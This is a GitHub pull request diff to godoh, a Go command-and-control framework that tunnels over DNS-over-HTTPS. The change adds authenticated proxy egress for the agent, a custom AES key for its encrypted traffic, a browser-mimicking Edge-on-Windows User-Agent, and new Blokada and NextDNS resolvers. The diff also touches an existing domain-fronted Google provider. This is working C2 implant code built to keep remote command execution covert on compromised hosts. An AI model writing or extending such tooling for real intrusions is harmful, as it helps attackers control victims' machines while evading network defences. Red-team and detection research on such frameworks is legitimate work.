Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Added features & Fix Bugs #6

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion Makefile
Original file line number Diff line number Diff line change
Expand Up @@ -24,7 +24,7 @@ keywarn:
@echo "!!! Not doing this will leave your C2 using the default key!\n"

key:
sed -i -E "s/const.*/const cryptKey = \`$(K)\`/g" lib/key.go
sed -i -E "s/var.*/var cryptKey = \`$(K)\`/g" lib/key.go

install:
go install
Expand Down
8 changes: 8 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -14,6 +14,14 @@
</p>
<br>

## The following updates have been implemented from the latest current version of [godoh](https://github.com/sensepost/godoh)

* Added support for HTTP basic authentication proxy
* Added support for specifying a custom "AES key" from command line (used to encrypt data blobs in communications)
* Added support for specifying a custom "User-Agent" (default: Edge 44 on Windows 10) from command line
* Added Blokada & NextDNS providers support
* Fix issues with Quad9 provider

## introduction

`godoh` is a proof of concept Command and Control framework, written in Golang, that uses DNS-over-HTTPS as a transport medium. Currently supported providers include Google, Cloudflare but also contains the ability to use traditional DNS.
Expand Down
52 changes: 51 additions & 1 deletion cmd/agent.go
Original file line number Diff line number Diff line change
@@ -1,15 +1,19 @@
package cmd

import (
"context"
"encoding/hex"
"fmt"
"io/ioutil"
"net"
"net/http"
"os"
"os/exec"
"strings"
"time"

"github.com/miekg/dns"
"github.com/rs/zerolog/log"
"github.com/sensepost/godoh/lib"
"github.com/sensepost/godoh/protocol"
"github.com/spf13/cobra"
Expand All @@ -18,6 +22,11 @@ import (
var agentCmdAgentName string
var agentCmdAgentPoll int

// Proxy settings
var proxyAddr string
var proxyUsername string
var proxyPassword string

// agentCmd represents the agent command
var agentCmd = &cobra.Command{
Use: "agent",
Expand Down Expand Up @@ -108,10 +117,15 @@ Example:
}

func init() {
rootCmd.AddCommand(agentCmd)
// setup proxy
cobra.OnInitialize(configureProxy)

rootCmd.AddCommand(agentCmd)
agentCmd.Flags().StringVarP(&agentCmdAgentName, "agent-name", "n", "", "Agent name to use. (default: random)")
agentCmd.Flags().IntVarP(&agentCmdAgentPoll, "poll-time", "t", 10, "Time in seconds between polls.")
agentCmd.Flags().StringVarP(&proxyAddr, "proxy", "X", "", "Use proxy, i.e hostname:port")
agentCmd.Flags().StringVarP(&proxyUsername, "proxy-username", "U", "", "proxy username to use")
agentCmd.Flags().StringVarP(&proxyPassword, "proxy-password", "P", "", "proxy password to use")
}

// executeCommand executes an OS command
Expand Down Expand Up @@ -192,3 +206,39 @@ func downloadFile(fileName string) error {

return nil
}

func configureProxy() {
if proxyAddr != "" {

if proxyUsername == "" || proxyPassword == "" {
log.Error().Msg("proxy username or password were not provided")
os.Exit(1)
}

dialContext := (&net.Dialer{
KeepAlive: 30 * time.Second,
Timeout: 30 * time.Second,
}).DialContext

basicDialContext := func(ctx context.Context, network, address string) (net.Conn, error) {
conn, err := dialContext(ctx, network, proxyAddr)
if err != nil {
return conn, err
}
log.Debug().Str("hostname", proxyAddr).Msg("using proxy")
log.Debug().Msg("attempting to inject Basic authentication")
err = lib.ProxySetup(conn, address, proxyUsername, proxyPassword, options.UserAgent)
if err != nil {
log.Error().Msg("failed to inject Basic authentication")
return conn, err
}
return conn, err
}

http.DefaultTransport.(*http.Transport).Proxy = nil
http.DefaultTransport.(*http.Transport).DialContext = basicDialContext

} else {
log.Debug().Msg("proxy address not set")
}
}
19 changes: 13 additions & 6 deletions cmd/root.go
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@ package cmd
import (
"fmt"
"math/rand"

"os"
"time"

Expand All @@ -21,7 +22,7 @@ var (
// CompileTimeDomain is the domain set with `make dnsDomain=foo.com`
CompileTimeDomain string

// options are CLI options
// Options are CLI options
options = lib.NewOptions()
)

Expand All @@ -40,11 +41,10 @@ var rootCmd = &cobra.Command{
options.SetTLSValidation()

// Setup the logger to use
log.Logger = log.Output(zerolog.ConsoleWriter{Out: os.Stderr, TimeFormat: "02 Jan 2006 15:04:05"})
if options.Debug {
log.Logger = log.Logger.Level(zerolog.DebugLevel)
log.Logger = log.With().Caller().Logger()
log.Debug().Msg("debug logging enabed")
log.Debug().Msg("debug logging enabled")
} else {
log.Logger = log.Logger.Level(zerolog.InfoLevel)
}
Expand All @@ -54,17 +54,21 @@ var rootCmd = &cobra.Command{

options.Logger = &log.Logger

// configure AES key
if options.AESKey != "" {
log.Debug().Str("key", options.AESKey).Msg("using AES key")
lib.SetAESKey(options.AESKey)
}

// if we have a compile time domain, use that if one is not set via CLI
if (options.Domain == "") && (CompileTimeDomain != "") {
log.Debug().Str("domain", CompileTimeDomain).Msg("using compile time domain")
options.Domain = CompileTimeDomain
} else {
log.Debug().Str("domain", options.Domain).Msg("using flag domain")
}

},
Run: func(cmd *cobra.Command, args []string) {

// by default, start in agent mode
if len(args) == 0 {
agentCmd.Run(cmd, args)
Expand All @@ -84,6 +88,7 @@ func Execute() {
func init() {

// logging
log.Logger = log.Output(zerolog.ConsoleWriter{Out: os.Stderr, TimeFormat: "02 Jan 2006 15:04:05"})
rootCmd.PersistentFlags().BoolVar(&options.Debug, "debug", false, "enable debug logging")
rootCmd.PersistentFlags().BoolVar(&options.DisableLogging, "disable-logging", false, "disable all logging")

Expand All @@ -92,6 +97,8 @@ func init() {
rootCmd.PersistentFlags().StringVarP(&options.Domain, "domain", "d", "", "DNS Domain to use. (ie: example.com)")
}

rootCmd.PersistentFlags().StringVarP(&options.ProviderName, "provider", "p", "google", "Preferred DNS provider to use. [possible: googlefront, google, cloudflare, quad9, raw]")
rootCmd.PersistentFlags().StringVarP(&options.ProviderName, "provider", "p", "google", "Preferred DNS provider to use. [possible: googlefront, google, cloudflare, quad9, blokada, nextdns, raw]")
rootCmd.PersistentFlags().BoolVarP(&options.ValidateTLS, "validate-certificate", "K", false, "Validate DoH provider SSL certificates")
rootCmd.PersistentFlags().StringVarP(&options.AESKey, "aeskey", "k", "", "AES key used to encrypt data blobs in communications (ie: openssl rand -hex 16)")
rootCmd.PersistentFlags().StringVarP(&options.UserAgent, "user-agent", "a", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362", "Setting a custom User-Agent (default: Edge 44 on Windows 10)")
}
4 changes: 2 additions & 2 deletions cmd/test.go
Original file line number Diff line number Diff line change
Expand Up @@ -44,11 +44,11 @@ For example:
break
}

c := dnsclient.NewGoogleDNS()
c := dnsclient.NewGoogleDNS("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102")
values := dnsclient.Lookup(c, testCmdName, dnsType)
fmt.Printf("Status: %s, Result: %s, TTL: %d\n", values.Status, values.Data, values.TTL)

d := dnsclient.NewCloudFlareDNS()
d := dnsclient.NewCloudFlareDNS("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102")
values = dnsclient.Lookup(d, testCmdName, dnsType)
fmt.Printf("Status: %s, Result: %s, TTL: %d\n", values.Status, values.Data, values.TTL)

Expand Down
72 changes: 72 additions & 0 deletions dnsclient/blokada.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
package dnsclient

import (
"encoding/json"
"io/ioutil"
"log"
"net/http"
"strconv"
"time"

"github.com/miekg/dns"
)

// Blokada is a Client instance resolving using Blokada DNS-over-HTTPS service
type Blokada struct {
BaseURL string
UserAgent string
}

// Lookup performs a DNS lookup using Blokada
func (c *Blokada) Lookup(name string, rType uint16) Response {

client := http.Client{
Timeout: time.Second * 20,
}

req, err := http.NewRequest("GET", c.BaseURL, nil)
if err != nil {
log.Fatal(err)
}

req.Header.Set("User-Agent", c.UserAgent)
req.Header.Add("accept", "application/dns-json")

q := req.URL.Query()
q.Add("name", name)
q.Add("type", strconv.Itoa(int(rType)))
q.Add("cd", "false") // ignore DNSSEC
q.Add("do", "false") // ignore DNSSEC
req.URL.RawQuery = q.Encode()
// fmt.Println(req.URL.String())

res, err := client.Do(req)
if err != nil {
log.Fatal(err)
}

body, err := ioutil.ReadAll(res.Body)
if err != nil {
log.Fatal(err)
}

// fmt.Printf("Blokada DNS RESPONSE BODY:\n%s\n", body)

dnsRequestResponse := requestResponse{}
err = json.Unmarshal(body, &dnsRequestResponse)
if err != nil {
log.Fatal(err)
}

fout := Response{}

if len(dnsRequestResponse.Answer) <= 0 {
return fout
}

fout.TTL = dnsRequestResponse.Answer[0].TTL
fout.Data = dnsRequestResponse.Answer[0].Data
fout.Status = dns.RcodeToString[dnsRequestResponse.Status]

return fout
}
28 changes: 20 additions & 8 deletions dnsclient/client.go
Original file line number Diff line number Diff line change
Expand Up @@ -6,25 +6,37 @@ type Client interface {
}

// NewGoogleDNS starts a new Google DNS-over-HTTPS resolver Client
func NewGoogleDNS() *GoogleDNS {
return &GoogleDNS{BaseURL: "https://dns.google.com/resolve"}
func NewGoogleDNS(useragent string) *GoogleDNS {
return &GoogleDNS{BaseURL: "https://dns.google.com/resolve", UserAgent: useragent}
}

// NewGoogleFrontDNS starts a new Google DNS-over-HTTPS resolver Client
// The Host header for this request is updated in the client itself
func NewGoogleFrontDNS() *GoogleFrontDNS {
return &GoogleFrontDNS{BaseURL: "https://www.google.com/resolve"}
func NewGoogleFrontDNS(useragent string) *GoogleFrontDNS {
return &GoogleFrontDNS{BaseURL: "https://www.google.com/resolve", UserAgent: useragent}
}

// NewCloudFlareDNS starts a new Cloudflare DNS-over-HTTPS resolver Client
func NewCloudFlareDNS() *CloudflareDNS {
return &CloudflareDNS{BaseURL: "https://cloudflare-dns.com/dns-query"}
func NewCloudFlareDNS(useragent string) *CloudflareDNS {
return &CloudflareDNS{BaseURL: "https://cloudflare-dns.com/dns-query", UserAgent: useragent}
}

// NewQuad9DNS starts a new Quad9 DNS-over-HTTPS resolver Client
func NewQuad9DNS() *Quad9DNS {
func NewQuad9DNS(useragent string) *Quad9DNS {
// Use the unfiltered URL.
return &Quad9DNS{BaseURL: "https://dns10.quad9.net/dns-query"}
return &Quad9DNS{BaseURL: "https://dns10.quad9.net:5053/dns-query", UserAgent: useragent}
}

// Blokada starts a new Blokada DNS-over-HTTPS resolver Client
func NewBlokadaDNS(useragent string) *Blokada {
// Use the unfiltered URL.
return &Blokada{BaseURL: "https://dns.blokada.org/dns-query", UserAgent: useragent}
}

// NextDNS starts a new NextDNS DNS-over-HTTPS resolver Client
func NewNextDNS(useragent string) *NextDNS {
// Use the unfiltered URL.
return &NextDNS{BaseURL: "https://dns.nextdns.io/dns-query", UserAgent: useragent}
}

// NewRawDNS starts a new client making use of traditional DNS
Expand Down
4 changes: 3 additions & 1 deletion dnsclient/cloudflare.go
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,8 @@ import (

// CloudflareDNS is a Client instance resolving using Cloudflares DNS-over-HTTPS service
type CloudflareDNS struct {
BaseURL string
BaseURL string
UserAgent string
}

// Lookup performs a DNS lookup using Cloudflare
Expand All @@ -28,6 +29,7 @@ func (c *CloudflareDNS) Lookup(name string, rType uint16) Response {
log.Fatal(err)
}

req.Header.Set("User-Agent", c.UserAgent)
req.Header.Add("accept", "application/dns-json")

q := req.URL.Query()
Expand Down
5 changes: 4 additions & 1 deletion dnsclient/google.go
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,8 @@ import (

// GoogleDNS is a Client instance resolving using Googles DNS-over-HTTPS service
type GoogleDNS struct {
BaseURL string
BaseURL string
UserAgent string
}

// Lookup performs a DNS lookup using Google
Expand All @@ -28,6 +29,8 @@ func (c *GoogleDNS) Lookup(name string, rType uint16) Response {
log.Fatal(err)
}

req.Header.Set("User-Agent", c.UserAgent)

q := req.URL.Query()
q.Add("name", name)
q.Add("type", strconv.Itoa(int(rType)))
Expand Down
4 changes: 3 additions & 1 deletion dnsclient/google_front.go
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,8 @@ import (
// GoogleFrontDNS is a Client instance resolving using Googles DNS-over-HTTPS service,
// fronted using www.google.com
type GoogleFrontDNS struct {
BaseURL string
BaseURL string
UserAgent string
}

// Lookup performs a DNS lookup using Google
Expand All @@ -32,6 +33,7 @@ func (c *GoogleFrontDNS) Lookup(name string, rType uint16) Response {
// Update the Host client header to dns.google.com
// Ref: https://twitter.com/vysecurity/status/1058947074392125440
req.Host = "dns.google.com"
req.Header.Set("User-Agent", c.UserAgent)

q := req.URL.Query()
q.Add("name", name)
Expand Down
Loading